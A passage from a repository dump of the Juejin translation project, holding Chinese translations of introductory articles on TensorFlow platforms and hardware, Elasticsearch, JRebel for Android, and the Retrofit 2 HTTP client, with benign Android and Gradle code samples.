上表现良好，但更令人高兴的是，不管是在服务器和台式机上，还是在嵌入式系统和移动设备上，它都能在各种平台上达到高性能。该框架同样还支持了各种编程语言，数量令人惊讶。尽管另一个框架在原生环境（比如 在 IBM 平台上运行的  IBM Watson®）上运行有时可能会胜过 TensorFlow，但它仍然是开发人员的最爱，因为人工只能项目会跨越平台和编程语言，并以多样的终端应用为设计目标，并且所有这些都需要生成一致的结果。\n\n## TensorFlow 应用\n\n本节将介绍 TensorFlow 擅长的应用程序。显然，由于 Google 使用其专有版本的 TensorFlow 开发文本和语音搜索，语言翻译，和图像搜索的应用程序，因此 TensorFlow 的主要优势在于分类和推测。例如，Google 在 TensorFlow 中应用 RankBrain（Google 的搜索结果排名引擎）。\n\nTensorFlow 可用于优化语音识别和语音合成，比如区分多重声音或者在高噪背景下过滤噪声提取语音，在文本生成语音过程中模拟语音模式以获得更自然的语音。另外，它能够处理不同语言中的句型结构以生成更好的翻译效果。它也同样能被用于图像和视频识别以及对象、地标、人物、情绪、或活动的分类。这带来了图像和视频搜索的重大改进。\n\n因为其灵活，可扩展和模块化的设计，TensorFlow 不会限制开发人员使用特定的模型或者应用。开发者使用 TensorFlow 不仅实现了机器学习和深度学习算法，还实现了统计和通用计算模型。有关应用程序和社区模型的更多信息请查看[使用 TensorFlow](https://www.tensorflow.org/about/uses)。\n\n## 哪些平台支持 TensorFlow？\n\n各种只要支持 Python 开发环境的平台就能支持 TensorFlow。但是，要接入一个受支持的 GPU，TensorFlow 需要依赖其他的软件，比如 NVIDIA CUDA 工具包和 cuDNN。为 TensorFlow（1.3 版本）预构建的 Python 二进制文件（当前发布）可用于下表中列出的操作系统。\n\n![支持 TensorFlow 的操作系统](https://www.ibm.com/developerworks/opensource/library/cc-get-started-tensorflow/image1.png)\n\n**注意：** 在 Ubuntu 或 Windows 上获得 GPU 加速支持需要 CUDA 工具包 8.0 和 cuDNN 6 或更高版本，以及一块能够兼容这个版本的工具包和 CUDA Computer Capability 3.0 或更高版本的 GPU 卡。macOS 上 1.2 版本以上的 TensorFlow 不再支持 GPU 加速。\n\n详情请参考[安装 TensorFlow](https://www.tensorflow.org/install)。\n\n### 从源代码构建 TensorFlow\n\n官方使用 Bazel 在 Ubuntu 和 macOS 构建 TensorFlow。在 Windows 系统下使用 Windows 版本 Bazel 或者 Windows 版 CMake 构建现在还在试验过程中，查看[ 从源代码构建 TensorFlow ](https://www.tensorflow.org/install/install_sources)。\n\nIBM 在 S822LC 高性能计算系统上使用 NVIDIA NVLink 连接线连接两块 POWER8 处理器和四块 NVIDIA Tesla P100 GPU 以使 PowerAI 适合进行深度学习。开发者能够在运行 OpenPOWER Linux 的 IBM Power System 上构建 TensorFlow。要了解更多信息可以查看[深度学习在 OpenPOWER 上: 在 OpenPOWER Linux 系统上构建 TensorFlow ](https://www.ibm.com/developerworks/community/blogs/fe313521-2e95-46f2-817d-44a4f27eba32/entry/Building_TensorFlow_on_OpenPOWER_Linux_Systems?lang=en)。\n\n很多社区或供应商支持的构建程序也可用。\n\n## TensorFlow 怎样使用硬件加速？\n\n为了支持在更广泛的处理器和非处理器架构上使用 TensorFlow，Google 为供应商提供了一个新的抽象接口，实现用于加速线性代数（XLA）的新硬件后端，XLA 是一个专为线性代数计算的特定领域编译器，它可以用于优化 TensorFlow 计算过程。\n\n### CPU\n\n当前，由于 XLA 还是实验性的，TensorFlow 还是在 X64 和 ARM64 CPU 架构上受支持，被测试和构建。在 CPU 架构上，TensorFlow 通过使用矢量处理扩展来实现加速线性代数计算。\n\n以 Intel CPU 为中心的 HPC 体系结构（如 Intel Xeon 和 Xeon Phi 系列）通过使用 Intel 数学核心函数库来实现深度神经网络基元，从而获得加速线性代数计算。Intel 也提供了拥有优化线性代数库的预构建的 Python 优化发行版。\n\n其他供应商，例如 Synopsys 和 CEVA，使用映射和分析器程序转换 TensorFlow 流图和生成优化代码在他们的平台上运行。开发者在使用这种途径时需要移植，分析并调整结果代码。\n\n### GPU\n\nTensorFlow 支持特定的 NVIDIA GPU ，这些 GPU 能够兼容相关版本的 CUDA 工具包并符合相关的性能标准。尽管一些社区努力在 OpenCL 1.2 兼容的 GPU （比如 AMD 的）上运行 TensorFlow，OpenCL 支持仍是一个正在计划建设的项目，\n\n### TPU\n\n据 Google 称，基于 TPU 的流图比 CPU 或 GPU 上执行性能好 15-30 倍，并且非常节能。Google 将 TPU 设计成一个外部加速器，可以插入串行 ATA 硬盘插槽，并通过 PCI Express Gen3 x16 接口连接主机，从而实现高带宽吞吐。\n\nGoogle TPU 是矩阵处理器而不是矢量处理器，并且神经网络不需要高精度的数学运算，而是使用大规模并行的低精度整数运算。毫不奇怪，矩阵处理器（MXU）结构具有 65,536 8-bit 乘法器，并通过脉动阵列结构波动推动数据，就像通过心脏的血液一样。\n\n这种设计是一种复杂的指令集计算（CISC）结构，虽然是单线程的，但允许单个高级指令触发 MXU 上的多个低级操作，每次循环可能会执行 128,000 条指令，而不用访问内存。\n\n因此，与 GPU 阵列或者多指令集、多数据 CPU HPC 集群相比，TPU 可以获得巨大的性能提升和能效比率。通过评估每个周期中 TensorFlow 流图中每个预备执行节点，TPU 相比其他架构，大大减少了深度学习神经网络训练时间，\n\n## TensorFlow 安装注意事项\n\n一般来说，TensorFlow 可以在任何支持 64 位 Python 开发环境的平台上运行。这个环境足以训练和测试大多数简单的例子和教程。然而，大多数专家认为，对于研究或专业开发，强烈推荐使用 HPC 平台。\n\n### 处理器和内存性能要求\n\n由于深度学习计算量非常大，因此具有向量扩展的高速多核 CPU 以及一个或多个具有高端 CUDA 支持的 GPU 是深度学习的普通标准。大多数专家还建议要注意 CPU 和 GPU 缓存，因为内存传输操作的能源消耗大，对性能不利。\n\n深度学习的性能表现有两种模式需要考虑：\n\n*   开发模式。通常情况下，在这种模式下，训练时间、性能表现、样本、数据集大小都会影响处理性能和内存要求。这些元素决定着神经网络计算性能和训练时间的极限。\n*   应用模式。通常，在受训过的神经网络处理过程中，处理性能和内存决定了分类或推测的实时性能。卷积神经网络需要更多的低精度计算能力，而全连接神经网络需要更多的内存。\n\n### 虚拟机选项\n\n用于深度学习的虚拟机（VMS）现在最适用于 CPU 为中心多核心可用的硬件体系。因为主机操作系统控制了 CPU， GPU 这些物理设备，所以在虚拟机上实现加速很复杂。有两种已知方法：\n\n*   GPU 挂载:\n    *   只能在 Type-1 管理程序上运行，例如  Citrix Xen， VMware ESXi， Kernel Virtual Machine， 和 IBM Power。\n    *   挂载的开销会根据 CPU，芯片组，管理程序和操作系统的特定组合而变化。一般来说，最新一代硬件的开销要小得多。\n    *   给定的管理程序-操作系统组合支持特定的NVIDIA GPU。\n*   GPU 虚拟化:\n    *   支持所有的主流 GPU 供应商，比如 NVIDIA（GRID），AMD（MxGPU）和 Intel（GVT-G）。\n    *   在特定的新 GPU 上支持最新版本的 OpenCL（TensorFlow 没有官方支持 OpenCL）。\n    *   在特定的新 GPU 上最新版本的 NVIDIA GRID 支持 CUDA 和 OpenCL。\n\n### Docker 安装选项\n\n在 Docker 容器或者 Kubernetes 容器集群系统上运行 TensorFlow 有很多优势。TensorFlow 可以将流图作为执行任务分发给 TensorFlow 服务器集群，而这些服务集群其实是映射到容器集群的。使用 Docker 的附加优势是 TensorFlow 服务器可以访问物理 GPU 核心（设备）并为其分配特定的任务。\n\n开发者还可以通过安装社区构建的 Docker 镜像，在 PowerAI OpenPOWER 服务器上的 Kubernetes 容器集群系统中部署 TensorFlow，如“[在 OpenPOWER 服务器上使用 PowerAI 的 Kubernetes 系统进行 TensorFlow 训练 ](https://developer.ibm.com/linuxonpower/2017/04/21/tensorflow-training-kubernetes-openpower-servers-using-powerai)”。\n\n### 云安装选项\n\nTensorFlow 云安装有几种选项：\n\n*   Google Cloud TPU。对于研究人员来说，Google 有一个Alpha 版本的 TensorFlow Research Cloud，可以提供在线的 TPU 实例。\n*   Google Cloud。Google 在一些特定的区域提供了自定义的 TensorFlow 机器实例，可以访问一个，四个或者八个 NVIDIA GPU 设备。\n*   IBM Cloud 数据科学与管理。IBM 提供了一个附带 Jupyter Notebook 和 Spark 的 Python 环境。TensorFlow 已经预安装了。\n*   Amazon Web Services (AWS)。Amazon 提供 AWS Deep Learning Amazon 机器镜像（AMIs)，可选 NVIDIA GPU 支持，可在各种 Amazon Elastic Compute Cloud 实例上运行。TensorFlow， Keras 和其他的深度学习框架都已经预装。AMI 可以支持多达 64 个 CPU 内核和 8 个 NVIDIA GPU（K80）。\n*   Azure。可以在使用 Azure 容器服务的 Docker 实例上或者一个 Ubuntu 服务器上设置 TensorFlow。Azure 机器实例可以支持 24 个 CPU内核和多达 4 个 NVIDIA GPU（M60 或 K80）。\n*   IBM Cloud Kubernetes 集群。IBM Clound 上的 Kubernetes 集群 可以运行 TensorFlow。一个社区构建的 Docker 镜像可用。POWERAI 服务器提供 GPU 支持。\n\n## TensorFlow 支持那些编程语言？\n\n尽管 Google 在 `C`++ 中实现了 TensorFlow 核心代码，但是它的主要编程语言是 Python，而且这个 API 是最完整的，最强大的，最易用的。更多有关信息，请参阅 [Python API 文档](https://www.tensorflow.org/api_docs/python)。Python API 还具有最广泛的文档和可扩展性选项以及广泛的社区支持。\n\n除了 Python 之外，TensorFlow还支持以下语言的 API，但不保证稳定性：\n\n*   `C`++。TensorFlow `C`++ API 是下一个最强大的 API，可用于构建和执行数据流图以及 TensorFlow 服务。更多有关 `C`++ API 的信息，请参阅[C++ API](https://www.tensorflow.org/api_guides/cc/guide)。有关 `C`++ 服务 API 的更多信息，请参阅 [TensorFlow 服务 API 参考](https://www.tensorflow.org/api_docs/serving)。\n*   Java 语言。尽管这个 API 是实验性的，但最新发布的 Android Oreo 支持 TensorFlow 可能会使这个 API 更加突出。更多有关信息，请参考[tensorflow.org](https://www.tensorflow.org/api_docs/java/reference/org/tensorflow/package-summary)。\n*   Go。这个 API 是对 Google Go 语言高度实验性的绑定。更多有关信息，请参考 [package tensorflow](https://godoc.org/github.com/tensorflow/tensorflow/tensorflow/go)。\n\n### 第三方绑定\n\nGoogle 已经定义了一个外部函数接口（FFI）来支持其他语言绑定。该接口使用 `C` API 暴露了 TensorFlow `C`++ 核心函数。FFI 是新的，可能不会被现有的第三方绑定使用。\n\n一项对 GitHub 的调查显示，有以下语言的社区或供应商开发的第三方 TensorFlow 绑定 `C`#，Haskell， Julia，Node.js，PHP，R，Ruby，Rust 和 Scala。\n\n### Android\n\n现在有一个经过优化的新 TensorFlow-Lite Android 库来运行 TensorFlow 应用程序。更多有关信息，请参考 [What's New in Android: O Developer Preview 2 & More](https://android-developers.googleblog.com/2017/05/whats-new-in-android-o-developer.html)。\n\n## 使用 Keras 简化 TensorFlow\n\nKeras 的层和模型完全兼容纯粹的 TensorFlow tensor。因此，Keras 为 TensorFlow 提供了一个很好的模型定义插件。开发者甚至可以将 Keras 与 其他 TensorFlow 库一起使用。有关详细信息，请参考 [使用 Keras 作为 TensorFlow 的简要接口: 教程](https://blog.keras.io/keras-as-a-simplified-interface-to-tensorflow-tutorial.html)。\n\n## 结论\n\nTensorFlow 只是许多用于机器学习的开源软件库之一。但是，根据它的 GitHub 项目数量，它已经成为被最广泛采用的深度学习框架之一。在本教程中，您了解了 TensorFlow 的概述，了解了哪些平台支持它，并查看了安装注意事项。\n\n如果你准备使用 TensorFlow 查看一些示例，请查看 [机器学习算法加快训练过程](https://developer.ibm.com/code/journey/accelerate-training-of-machine-learning-algorithms/) 和 [使用 PowerAI notebooks 进行图像识别训练](https://developer.ibm.com/code/journey/image-recognition-training-powerai-notebooks/)中的开发者代码模式。\n\n* * *\n\n#### 资源下载\n\n* [此篇文章的 PDF 文件](cc-get-started-tensorflow-pdf.pdf)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/getting-started-with-elasticsearch.md",
    "content": "> * 原文地址：[Getting Started](https://www.elastic.co/guide/en/elasticsearch/reference/current/getting-started.html#getting-started)\n> * 原文作者：[elastic](https://www.elastic.co)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/getting-started-with-elastic.md](https://github.com/xitu/gold-miner/blob/master/TODO/getting-started-with-elastic.md)\n> * 译者：[code4j](https://github.com/rpgmakervx)\n> * 校对者：[Starriers](https://github.com/Starriers)\n\n# Elasticsearch 简介\n\nElasticsearch 是一个高可扩展的开源全文搜索分析引擎，可以用它近实时的来存储、搜索和分析大量的数据。通常我们使用它作为底层引擎技术给拥有复杂搜索功能需求的应用提供支持。\n\n以下是 Elasticsearch 的几个适用场景:\n\n- 你经营一家网店，用户可以搜索你出售的商品。此时，你可以用 Elasticsearch 存储全部商品的目录和存货，然后给用户提供搜索和自动提示功能.\n- 你想要收集日志或交易数据用于分析趋势、统计数据、概要和异常。此时，你可以使用 Logstash(Elasticsearch/Logstash/Kibana 技术栈的一部分)来收集，聚合，解析数据，然后将其存入 ES。一旦数据在 ES 里了，你就可以用搜索和聚合挖掘任何你感兴趣的数据。\n- 你有一个可以让懂行的顾客制定类似“我对这个东西挺感兴趣的，当这个东西的价格在下个月之前降到X块钱了通知我”规则的价格预警平台。此时，你可以抹去卖主的价格，存入ES中，使用逆向搜索能力(Percolator)，根据用户的查询来匹配价格的变动，一旦价格匹配，给用户推送提醒.\n- 你有分析和商业策略的需求，想快速的在大数据（有上十亿的记录）里研究，分析，做可视化，特定的询问。此时，你可以用ES存储你的数据，然后用 Kibana(Elasticsearch/Logstash/Kibana 技术栈的一部分)来定制可以让你的重要数据可视化的仪表盘。不仅如此，你可以用ES的聚合功能，根据你的数据作复杂的商业策略查询.\n\n接下来的教程中会指引你从启动 elasticsearch 到基本的操作比如建立索引，查询和数据更改，了解内部机制。最后你将知道它是什么以及它内部的原理。最后你将知道它是什么以及它内部的原理，希望能启发您使用 elasticsearch 构建更复杂的搜索应用或数据挖掘应用.\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/getting-started-with-jrebel-for-android.md",
    "content": ">* 原文链接 : [Getting started with JRebel for Android](https://medium.com/@shelajev/getting-started-with-jrebel-for-android-426633cde736#.dtldka9ua)\n* 原文作者 : [Oleg Šelajev](https://medium.com/@shelajev)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [edvardhua](https://github.com/edvardHua)\n* 校对者: [DeadLion](https://github.com/DeadLion), [circlelove](https://github.com/circlelove)\n\n# 怎样用 JRebel 启动 Android\n\n只要你的项目相对较小，开发Android应用的用户体验还是很棒的。然而随着项目功能的增加，你会发现构建项目的时间也会随着增长。这种情况会导致你的大部分时间都花在如何更快的构建项目，而不是为应用增加更多的价值。\n\n网上有很多教你如何加快Gradle构建速度的教程。有一些很好的文章，譬如“[Making Gradle builds faster](http://zeroturnaround.com/rebellabs/making-gradle-builds-faster/)”。 通过这些方法我们可以节省几秒甚至几分钟的构建时间，但是仍然存在一些构建上的瓶颈。举个例子，基于注释的依赖注入使得项目架构清晰，但是这对项目构建时间是有很大影响的。\n\n但是你可以尝试一下使用[JRebel for Android](https://zeroturnaround.com/software/jrebel-for-android/?utm_source=medium&utm_medium=getting-started-jra-post&utm_campaign=medium)。每次改动代码后不需要重新安装新的 apk。而是在安装完一次应用后，通过增量包传递到设备或者模拟器上，并且能够在应用运行时进行更新。这个想法（热部署）已经在JRebel的java开发工具上面使用超过8年的时间。\n\n拿Google IO 2015 app来看看如何使用JRebel for Android，以及它能为我们节省多少宝贵的时间。\n\n### 安装 JRebel for Android\n\n[JRebel for Android](https://zeroturnaround.com/software/jrebel-for-android/?utm_source=medium&utm_medium=getting-started-jra-post&utm_campaign=medium) 是一个Android Studio的插件，你可以直接点击IDE的 _Plugins > Browse Repositories_ 键入“JRebel for Android”来搜索和安装插件。\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f3y7px3ajhj20hs0fzmzm.jpg)\n\n如果因为某些原因你无法访问 maven 的公有仓库，你可以直接在 JetBrians 官网下载，然后通过 _Plugins > Install plugin from disk…_ 来安装插件。\n\n当你安装完插件后，你需要重启Android Studio，在重启之后，你需要提供你的姓名和邮箱来得到JRebel for Android的21天免费使用。\n\n### 用 JRebel for Android 来运行你的应用程序\n\n安装完插件后，只需要点击 _Run with JRebel for Android_ 按钮，它会检测这次代码与上次是否有改动，然后决定是否构建一个新的apk。_Run with JRebel for Android_ 其实和Android Studio中的 _Run_ 操作是一样的。所以有同样的运行流程，首先需要你选择一个设备，然后再构建apk安装到那台设备上去。\n\n为了更新代码和资源，JRebel for Android 需要处理项目 classes，并嵌入一个代理应用。JRebel for Android只会运行在调试模式下，所以对于正式发布的版本来说是没有影响的。另外，使用该插件也不需要你在项目中做任何改动。想要知道更多JRebel for Android的细节，请看[under the hood post](http://zeroturnaround.com/rebellabs/under-the-hood-of-jrebel-for-android/)。（译者注：InfoQ的一篇介绍JRebel for Android的[文章](http://www.infoq.com/cn/news/2016/01/jrebel-for-android-stable?appinstall=0)写的不错。）\n\n所以在Google IO 2015应用上点击 _Run with JRebel for Android_ 将会得到如下的结果：\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f3y7qkkn2jj20hs0b60ud.jpg)\n\n### 在JRebel for Android应用代码修改\n\n _Apply changes_ 按钮是使用 JRebel for Android的关键，它将会做最少的工作来将你代码的改动更新到你的设备上去。如果你没有使用 _Run with JRebel for Android_ 来部署应用的话，_Apply changes_ 将会帮你做这部分的工作。\n\n现在让我们在应用上做一个简单的功能改动。针对于GoogleIO中每一个举行的子会场你都可以发送反馈问卷，我们给这个问卷添加多一个输入框输入你的姓名，当你完成反馈的时候会弹出Toast来感谢你的反馈。\n\n**步骤一：** 在  _session_feedback_fragment.xml_ 中添加一个EditTex组件。\n\n    <FrameLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\">\n        <EditText\n            android:id=\"@+id/name_input\"\n            android:layout_width=\"match_parent\"\n            android:layout_height=\"wrap_content\"/>\n    </FrameLayout>\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f3y7qzqpp4j20ja0zaq5o.jpg)\n\n**步骤2：** 调整间距\n\n    <FrameLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:paddingLeft=\"@dimen/padding_normal\"\n        android:paddingStart=\"@dimen/padding_normal\"\n        android:paddingRight=\"@dimen/padding_normal\"\n        android:paddingEnd=\"@dimen/padding_normal\"\n        android:paddingTop=\"@dimen/spacing_micro\"\n        android:paddingBottom=\"@dimen/padding_normal\">\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f3y7rcrfolj20jk0ziacq.jpg)\n\n**步骤3：** 添加提示\n\n    <EditText\n        android:id=\"@+id/name_input\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:hint=\"@string/name_hint\"/>\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f3y7romijnj20j80zgdij.jpg)\n\n这些改动现在都是在同一个页面上，每一次按下 _Apply change_  按钮后，JRebel for Android都会调用[Activity.recreate()](https://developer.android.com/reference/android/app/Activity.html#recreate%28%29)。在最顶部的activity将会同样的回调方法，就像设备从纵向切换到横向那样。\n\n到目前为止我们都还只是改动resource文件，下面我们来改动Java代码。\n\n**步骤4：** 在 _SessionFeedbackFragment.sumbitFeedback()_ 方法中弹出Toast\n\n    EditText nameInput = (EditText) \n\n    getView().findViewById(R.id.name_input);\n\n    Toast.makeText(getActivity(), \"Thanks for the feedback \" + \n\n    nameInput.getEditableText().toString(), Toast.LENGTH_SHORT).show();\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f3y7s07qioj20je0zi0wr.jpg)\n\n### 应用重启动 vs Activity重启动\n\n并不是所有的改动都会触发调用[Activity.recreate()](https://developer.android.com/reference/android/app/Activity.html#recreate%28%29)的。如果你在AndroidManifest改动了一些内容，一个新的 apk 将会被构建并增加安装。在这种情况下，应用将会重新启动。或者你替换或改动了已经被实现的superclass或者interfaces的时候也会导致应用重启动。下面有一份完整的对照表：\n\n![](http://ww1.sinaimg.cn/large/a490147fgw1f3y7sb4pmdj20gq07kabk.jpg)\n\n### 为什么我要尝试使用JRebel for Android\n\n下面我列出了最有说服力的理由，来让你使用它。\n\n*   可以快速看到自己代码改动的效果。\n*   可以有时间打磨素完美的UI，而不用浪费时间在构建上。\n*   不需要在项目中做任何改动来支持 JRebel for Android。\n*   在调试程序的同时还能更新代码和资源文件。没错，[JRebel for Android](https://zeroturnaround.com/software/jrebel-for-android/?utm_source=medium&utm_medium=getting-started-jra-post&utm_campaign=medium)支持调试器的全部特性。\n"
  },
  {
    "path": "TODO/getting-started-with-retrofit.md",
    "content": "> * 原文地址：[Get Started With Retrofit 2 HTTP Client](https://code.tutsplus.com/tutorials/getting-started-with-retrofit-2--cms-27792)\n* 原文作者：[Chike Mgbemena](https://tutsplus.com/authors/chike-mgbemena)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Zhiw](https://github.com/Zhiw)\n* 校对者：[PhxNirvana](https://github.com/phxnirvana)，[Draftbk](https://github.com/draftbk)\n\n\n# 网络请求框架 Retrofit 2 使用入门\n\n![Final product image](https://cms-assets.tutsplus.com/uploads/users/1499/posts/27792/final_image/gt5.JPG)\n\n你将要创造什么\n\n## Retrofit 是什么？\n\n[Retrofit](https://square.github.io/retrofit/) 是一个用于 Android 和 Java 平台的类型安全的网络请求框架。Retrofit 通过将 API 抽象成 Java 接口而让我们连接到 REST web 服务变得很轻松。在这个教程里，我会向你介绍如何使用这个 Android 上最受欢迎和经常推荐的网络请求库之一。\n\n这个强大的库可以很简单的把返回的 JSON 或者 XML 数据解析成简单 Java 对象（POJO）。`GET`, `POST`, `PUT`, `PATCH`, 和 `DELETE` 这些请求都可以执行。\n\n和大多数开源软件一样，Retrofit 也是建立在一些强大的库和工具基础上的。Retrofit 背后用了同一个开发团队的 [OkHttp](http://square.github.io/okhttp/) 来处理网络请求。而且 Retrofit 不再内置 JSON 转换器来将 JSON 装换为 Java 对象。取而代之的是提供以下 JSON 转换器来处理：\n\n- Gson: `com.squareup.retrofit:converter-gson`\n- Jackson: `com.squareup.retrofit:converter-jackson`\n- Moshi: `com.squareup.retrofit:converter-moshi`\n\n对于 [Protocol Buffers](https://developers.google.com/protocol-buffers/), Retrofit 提供了:\n\n- Protobuf:  `com.squareup.retrofit2:converter-protobuf`\n\n- Wire:  `com.squareup.retrofit2:converter-wire`\n\n对于 XML 解析, Retrofit 提供了:\n\n- Simple Framework:  `com.squareup.retrofit2:converter-simpleframework`\n\n## 那么我们为什么要用 Retrofit 呢？\n\n开发一个自己的用于请求 REST API 的类型安全的网络请求库是一件很痛苦的事情：你需要处理很多功能，比如建立连接，处理缓存，重连接失败请求，线程，响应数据的解析，错误处理等等。从另一方面来说，Retrofit 是一个有优秀的计划，文档和测试并且经过考验的库，它会帮你节省你的宝贵时间以及不让你那么头痛。\n\n在这个教程里，我会构建一个简单的应用，根据 [Stack Exchange](https://api.stackexchange.com/docs) API 查询上面最近的回答，从而来教你如何使用 Retrofit 2 来处理网络请求。我们会指明 `/answers` 这样一个路径，然后拼接到 base URL [https://api.stackexchange.com/2.2](https://api.stackexchange.com/2.2)/ 上执行一个 `GET` 请求——然后我们会得到响应结果并且显示到 RecyclerView 上。我还会向你展示如何利用 RxJava 来轻松地管理状态和数据流。\n\n## 1.创建一个 Android Studio 工程\n\n打开 Android Studio，创建一个新工程，然后创建一个命名为 `MainActivity` 的空白 Activity。\n![Create a new empty activity](https://cms-assets.tutsplus.com/uploads/users/1499/posts/27792/image/a2.png)\n\n## 2. 添加依赖\n\n创建一个新的工程后，在你的 `build.gradle` 文件里面添加以下依赖。这些依赖包括 RecyclerView，Retrofit 库，还有 Google 出品的将 JSON 装换为 POJO（简单 Java 对象）的 Gson 库，以及 Retrofit 的 Gson。\n\n    // Retrofit\n    compile 'com.squareup.retrofit2:retrofit:2.1.0'\n\n    // JSON Parsing\n    compile 'com.google.code.gson:gson:2.6.1'\n    compile 'com.squareup.retrofit2:converter-gson:2.1.0'\n\n    // recyclerview\n    compile 'com.android.support:recyclerview-v7:25.0.1'\n\n\n不要忘记同步（sync）工程来下载这些库。\n\n## 3. 添加网络权限\n\n要执行网络操作，我们需要在应用的清单文件 **AndroidManifest.xml** 里面声明网络权限。\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n    <manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n              package=\"com.chikeandroid.retrofittutorial\">\n\n        <uses-permission android:name=\"android.permission.INTERNET\" />\n\n        <application\n                android:allowBackup=\"true\"\n                android:icon=\"@mipmap/ic_launcher\"\n                android:label=\"@string/app_name\"\n                android:supportsRtl=\"true\"\n                android:theme=\"@style/AppTheme\">\n            <activity android:name=\".MainActivity\">\n                <intent-filter>\n                    <action android:name=\"android.intent.action.MAIN\"/>\n\n                    <category android:name=\"android.intent.category.LAUNCHER\"/>\n                </intent-filter>\n            </activity>\n        </application>\n\n    </manifest>\n\n\n## 4.自动生成 Java 对象\n\n我们利用一个非常有用的工具来帮我们将返回的 JSON 数据自动生成 Java 对象：[jsonschema2pojo](http://www.jsonschema2pojo.org/)。\n\n### 取得示例的 JSON 数据\n\n复制粘贴 [https://api.stackexchange.com/2.2/answers?order=desc&sort=activity&site=stackoverflow](https://api.stackexchange.com/2.2/answers?order=desc&sort=activity&site=stackoverflow) 到你的浏览器地址栏，或者如果你熟悉的话，你可以使用 [Postman](https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop?hl=en) 这个工具。然后点击 **Enter** —— 它将会根据那个地址执行一个 GET 请求，你会看到返回的是一个 JSON 对象数组，下面的截图是使用了 Postman 的 JSON 响应结果。\n\n![API response to GET request](https://cms-assets.tutsplus.com/uploads/users/769/posts/27792/image/1.jpg)\n\n```\n   {\n      \"items\": [\n        {\n          \"owner\": {\n            \"reputation\": 1,\n            \"user_id\": 6540831,\n            \"user_type\": \"registered\",\n            \"profile_image\": \"https://www.gravatar.com/avatar/6a468ce8a8ff42c17923a6009ab77723?s=128&d=identicon&r=PG&f=1\",\n            \"display_name\": \"bobolafrite\",\n            \"link\": \"http://stackoverflow.com/users/6540831/bobolafrite\"\n          },\n          \"is_accepted\": false,\n          \"score\": 0,\n          \"last_activity_date\": 1480862271,\n          \"creation_date\": 1480862271,\n          \"answer_id\": 40959732,\n          \"question_id\": 35931342\n        },\n        {\n          \"owner\": {\n            \"reputation\": 629,\n            \"user_id\": 3054722,\n            \"user_type\": \"registered\",\n            \"profile_image\": \"https://www.gravatar.com/avatar/0cf65651ae9a3ba2858ef0d0a7dbf900?s=128&d=identicon&r=PG&f=1\",\n            \"display_name\": \"jeremy-denis\",\n            \"link\": \"http://stackoverflow.com/users/3054722/jeremy-denis\"\n          },\n          \"is_accepted\": false,\n          \"score\": 0,\n          \"last_activity_date\": 1480862260,\n          \"creation_date\": 1480862260,\n          \"answer_id\": 40959731,\n          \"question_id\": 40959661\n        },\n        ...\n      ],\n      \"has_more\": true,\n      \"backoff\": 10,\n      \"quota_max\": 300,\n      \"quota_remaining\": 241\n    }\n```\n\n从你的浏览器或者 Postman 复制 JSON 响应结果。\n\n### 将 JSON 数据映射到 Java 对象\n\n\n现在访问 [jsonschema2pojo](http://www.jsonschema2pojo.org/)，然后粘贴 JSON 响应结果到输入框。\n\n选择 Source Type 为 **JSON**，Annotation Style 为 **Gson**，然后取消勾选 **Allow additional properties**。\n\n![](https://cms-assets.tutsplus.com/uploads/users/1499/posts/27792/image/u99.jpg)\n\n\n然后点击 **Preview** 按钮来生成 Java 对象。\n\n![](https://cms-assets.tutsplus.com/uploads/users/769/posts/27792/image/kpo09.jpg)\n\n你可能想知道在生成的代码里面， `@SerializedName` 和 `@Expose` 是干什么的。别着急，我会一一解释的。\n\nGson 使用 `@SerializedName` 注解来将 JSON 的 key 映射到我们类的变量。为了与 Java 对类成员属性的驼峰命名方法保持一致，不建议在变量中使用下划线将单词分开。`@SerializeName` 就是两者的翻译官。\n\n    @SerializedName(\"quota_remaining\")\n    @Expose\n    private Integer quotaRemaining;\n\n\n在上面的示例中，我们告诉 Gson 我们的 JSON 的 key `quota_remaining` 应该被映射到 Java 变量 `quotaRemaining`上。如果两个值是一样的，即如果我们的 JSON 的 key 和 Java 